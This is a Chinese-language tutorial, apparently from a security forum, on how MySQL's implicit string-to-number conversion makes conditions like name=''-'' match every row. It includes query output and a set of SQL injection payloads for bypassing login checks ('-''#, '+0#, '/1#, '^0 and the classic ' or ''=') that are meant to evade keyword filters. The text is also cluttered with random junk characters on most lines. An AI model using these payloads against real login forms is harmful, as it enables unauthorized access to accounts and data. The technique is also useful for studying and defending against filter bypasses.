我们先来看这样一个场景。
( X; u2 n4 L: x9 q有以下表结构:
4 }2 f; ^. k, T1 a. X; j' c7 ^3 O2 I/ g& a2 i& J4 [" l
mysql> desc admin;
& i% A# B( W- R, V/ d" [7 v$ }+----------+--------------+------+-----+---------+----------------+6 q2 S1 ]- k2 s/ u9 ^
| Field | Type | Null | Key | Default | Extra |' e1 a @- t: g5 B. c1 E
+----------+--------------+------+-----+---------+----------------+
6 g# P( ?1 S8 ?4 U- g| id | mediumint(9) | NO | PRI | NULL | auto_increment |
4 ?- R3 d4 N: G9 l( [+ e: y| name | char(32) | NO | UNI | NULL | |
8 S' m* I9 m# y6 R \& r! C" n| password | char(32) | NO | UNI | NULL | |8 R7 ], g# A6 o4 G% N2 C! k
+----------+--------------+------+-----+---------+----------------+1 E1 n4 o: a8 C. O* @8 I. m8 b! d
3 rows in set (0.00 sec)
8 n1 S8 _4 \! ?执行select * from admin;,成功返回所有记录内容。
+ s& r7 E, [/ F8 S3 B
; J: h+ k& W/ {% J) D1 T7 P2 E' @2 l# g, t$ m$ q
+----+--------+----------------------------------+, G3 @& y* M3 d8 m( o2 n
| id | name | password |
, M0 r9 o5 ~% ~" {# n3 p+----+--------+----------------------------------+# G0 I) a0 A K
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
# u2 O5 \2 @, _| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* ~% w) Y# @3 }| 4 | n00b | ff80e8508d39047460921792273533a4 |" d' Q) q8 t1 H
+----+--------+----------------------------------+/ s, K1 M- ~1 c9 |6 K3 y( H6 m
3 rows in set (0.00 sec)2 l6 c7 v- I5 ^! ~& u1 e
执行select * from admin where name=”;,没有匹配到任何记录。
: [# W5 D7 C3 G9 {3 }
- K2 @* U' i0 ?' s, ~1 Xmysql> select * from admin where name = '';1 T1 i% L8 \+ n3 y x: c
Empty set (0.00 sec)7 G- ~ w% H8 l' q5 v# n# \7 U
那么我们来执行select * from admin where name = ”-”;" E5 y# l9 P1 E% [: T
, B1 S; p1 N- h" \* A! C7 m
( z7 B I, ^4 o) b0 y
+----+--------+----------------------------------+
& T0 c: G" C: ?2 ?) N| id | name | password |
+ ]/ F5 w% } s6 I# o+----+--------+----------------------------------+
0 R; S9 z! a0 ]1 s/ ^' V1 X# t| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
3 H: Y& y5 ~) Z! H4 Y| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 u9 Q2 N% {1 S( M
| 4 | n00b | ff80e8508d39047460921792273533a4 |
8 }9 S$ H3 V, @9 ^* X+----+--------+----------------------------------+: k$ z& r! u/ _5 c2 e; Q1 R- z
3 rows in set, 3 warnings (0.00 sec)
0 P) A2 W9 p: |& k1 ]可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
, x" ?8 Q& o5 m) K. d2 Q5 O& j8 t: W, N& J
mysql> show warnings;& E$ w( ]% T8 b c" k# \9 y
+---------+------+------------------------------------------: q! a4 n9 W4 U( F& x
| Level | Code | Message3 S& C v( q4 w' _! T* B
+---------+------+------------------------------------------( K% T4 X- d8 M, ^- z4 P" U
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin# V2 Q) q+ E1 j1 V; F3 I
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
9 t: w2 B; b6 ]| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
3 D+ G( f- w- _3 z2 h4 |! }+---------+------+------------------------------------------
+ N2 J% k) L N! |8 |3 rows in set (0.00 sec)
( Q' V; V: F- j8 M) T/ s: I' S3 A, L提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
' [$ z! t7 t9 ]$ I' \9 W
9 @; `' ?, I) M' jmysql> select ''-'';- d+ V8 O5 K! U5 w! }0 P
+-------+8 V" ], _( D7 X* X
| ''-'' |/ Q2 b, v4 v! \& r: @" N9 r: @8 [
+-------+
{) q* E; c* W5 x2 `1 M- U| 0 |
. h/ C$ C: P- `8 `) u" A3 |+-------+
$ _ |0 `7 {' X: ` w; w( Y1 H" [8 C1 row in set (0.00 sec)7 o2 G0 p0 t% Q, p
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
* J1 X+ P( o- o0 H* N! ?
4 ]: k7 i% Q2 X5 f! }/ `% Dmysql> select CAST((select name from admin limit 1,1) as DECIMAL);3 q. L3 j' e8 z- Z7 `3 y* n( R
+-----------------------------------------------------+
5 p G& v4 i* W| CAST((select name from admin limit 1,1) as DECIMAL) |& _$ ?4 M6 e/ A7 f
+-----------------------------------------------------+! l" v3 P2 x2 e- C- \7 f
| 0 |
- e1 e) l5 }* j* m9 O6 u+-----------------------------------------------------+" ~. s* R3 }: v) I, a) T
1 row in set, 1 warning (0.00 sec)$ P" `' A/ m$ l' z7 r/ G' q
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 v' Z2 d( |# V& T6 a
9 P) g, c0 |/ h
SQL注入场景: http://www.sqlzoo.net/hack/ , M. }! J. J4 ~
$ C3 U* n0 B2 I+ M' T0 c) _
4 Z2 ?/ _ [4 m1 N/ P, [2 x# v% Q! A" v
3 _, B" A* _6 r$ X# T# |* K如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
3 ]8 i5 p1 X7 {0 N5 o
: r' E( x* O+ {7 H$ t那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
! Q! T6 h6 {2 c( o; t
+ s4 e7 \: F4 A+ {1 f/ F" \ R) _- s0 l5 @; L' n; k7 Y
1 A9 r! R8 |6 r1 Q8 \8 D
4 K: F# ^1 {2 x* k, U# {) \仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
( u2 a9 T2 u7 c3 M) B; V# R7 _+ m% {6 ?* s( M6 ~# V8 a5 X: g5 j
# K. p! e& n: p9 b$ Y# a) y* @
! z/ b4 h% ^: \. E4 K7 h2 e X
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可* U; ]) Q% d! s' z
0 n" M; [; \8 ]6 y
' S- g) t8 s3 C7 j. m+ ]
mysql> select ''/1;0 f6 l/ a! w: K) h) B/ M M
+------+$ J* s" Z1 l# w" g3 |
| ''/1 |( H2 _$ _3 L8 N E7 Z2 L* j, y
+------+/ Z/ Z4 T( x8 t" |$ K1 g
| 0 |
! C% f, r+ z, t& G; I/ K+------+) j6 a: Y8 y* ?$ k
1 row in set (0.00 sec), B* b% k* n1 Z# P* O. S) Y
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ! `. Q O+ _& Q8 B! `2 r( x1 C
2 b0 Z+ j; ^: ~5 h/ M2 Q* W
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。2 x+ s# b6 F* ?& `4 D7 L4 d5 o
|
|